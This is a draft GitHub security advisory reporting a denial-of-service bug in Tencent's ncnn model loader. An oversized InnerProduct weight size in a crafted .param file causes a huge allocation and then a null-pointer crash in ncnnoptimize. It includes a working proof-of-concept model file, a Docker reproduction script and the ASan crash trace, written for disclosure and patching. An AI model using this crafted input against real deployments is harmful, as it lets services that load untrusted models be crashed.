GitHub Advisory Manager
All advisories
Draft

Unbounded InnerProduct Weight Allocation Causes Denial Of Service

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Unbounded InnerProduct Weight Allocation Causes Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/modelbin.cpp:199 in ModelBinFromDataReader::load
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x555b4f2119a9 bp 0x7fffe73df830 sp 0x7fffe73cd280 T0)

The observed crash lands in src/layer/x86/innerproduct_fp.h:801, which is the ISA-specialised copy of the reported code path.

Summary

An InnerProduct layer's weight_data_size is an attacker-controlled 32-bit integer that ModelBinFromDataReader::load turns into an allocation before it verifies the weight file actually contains that much data. A two-layer .param claiming 2=2147483647 plus a four-byte .bin makes ncnn request roughly 8 GiB of heap from a 4-byte file. The load then fails, ncnnoptimize ignores the failure, and shape inference runs the layer against the empty weight tensor, terminating the process on a null read.

Detail

The untrusted field is parameter id 2 of an InnerProduct record. It is stored unchecked and passed straight to the model bin as an element count:

// src/layer/innerproduct.cpp:18
int InnerProduct::load_param(const ParamDict& pd)
{
    num_output = pd.get(0, 0);
    bias_term = pd.get(1, 0);
    weight_data_size = pd.get(2, 0);

// src/layer/innerproduct.cpp:40
int InnerProduct::load_model(const ModelBin& mb)
{
    weight_data = mb.load(weight_data_size, 0);
    if (weight_data.empty())
        return -100;

Inside ModelBinFromDataReader::load, every raw-float branch allocates first and validates the stream afterwards. The tagged branch is the reported sink:

// src/modelbin.cpp:199
                m.create(w);
                if (m.empty())
                    return m;

                // raw data with extra scaling
                nread = d->dr.read(m, w * sizeof(float));
                if (nread != w * sizeof(float))
                {
                    NCNN_LOGE("ModelBin read weight_data failed %zd", nread);
                    return Mat();
                }

m.create(w) computes alignSize(w * sizeof(float), 16) and asks the allocator for that many bytes; only on line 205 does the code discover the reader has nothing to give. The untagged branch at src/modelbin.cpp:273 — the one selected by the PoC's four zero bytes, where flag_struct.f0 == 0 — repeats the identical allocate-then-validate sequence. With w == 2147483647 the request is 8589934588 bytes, driven entirely by a text field in a file that is four bytes long; nothing cross-checks the declared size against the remaining input length or against any configured limit.

When the read fails, load returns an empty Mat, InnerProduct::load_model returns -100, and Net::load_model logs layer load_model 1 ip failed and returns -1. tools/ncnnoptimize.cpp:2797 discards that return value and line 2844 calls ModelWriter::shape_inference(), which executes the InnerProduct with weight_data.data == NULL. The x86 fp16-storage kernel walks that null weight pointer over num_input elements, producing the reported crash.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC) 
mkdir -p ncnn-poc-unbounded-innerproduct-weight-allocation-causes-denial-of-servic && cd ncnn-poc-unbounded-innerproduct-weight-allocation-causes-denial-of-servic

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=1
InnerProduct ip 1 1 data out 0=1 1=0 2=2147483647
EOF

head -c 4 /dev/zero > poc.bin

docker build -t ncnn-asan .
docker run --rm --network none -e ASAN_OPTIONS=allocator_may_return_null=0 -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x621433b989a9 bp 0x7ffe7cf9f5f0 sp 0x7ffe7cf8d040 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x621433b989a9 in innerproduct_fp16s_sse /ncnn/src/layer/x86/innerproduct_fp.h:801
    #1 0x621433de683a in ncnn::InnerProduct_x86_avx512::forward_fp16s(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:333
    #2 0x621433de0e3a in ncnn::InnerProduct_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:136
    #3 0x621430deef2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #4 0x621430de0b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #5 0x621430e409e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #6 0x621430cd23c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #7 0x621430d4feee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #8 0x76fb35b2c1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x76fb35b2c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x621430ccf624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/x86/innerproduct_fp.h:801 in innerproduct_fp16s_sse
==1==ABORTING

Credit

Zheng Yu @ DepthFirst

Discuss
Submit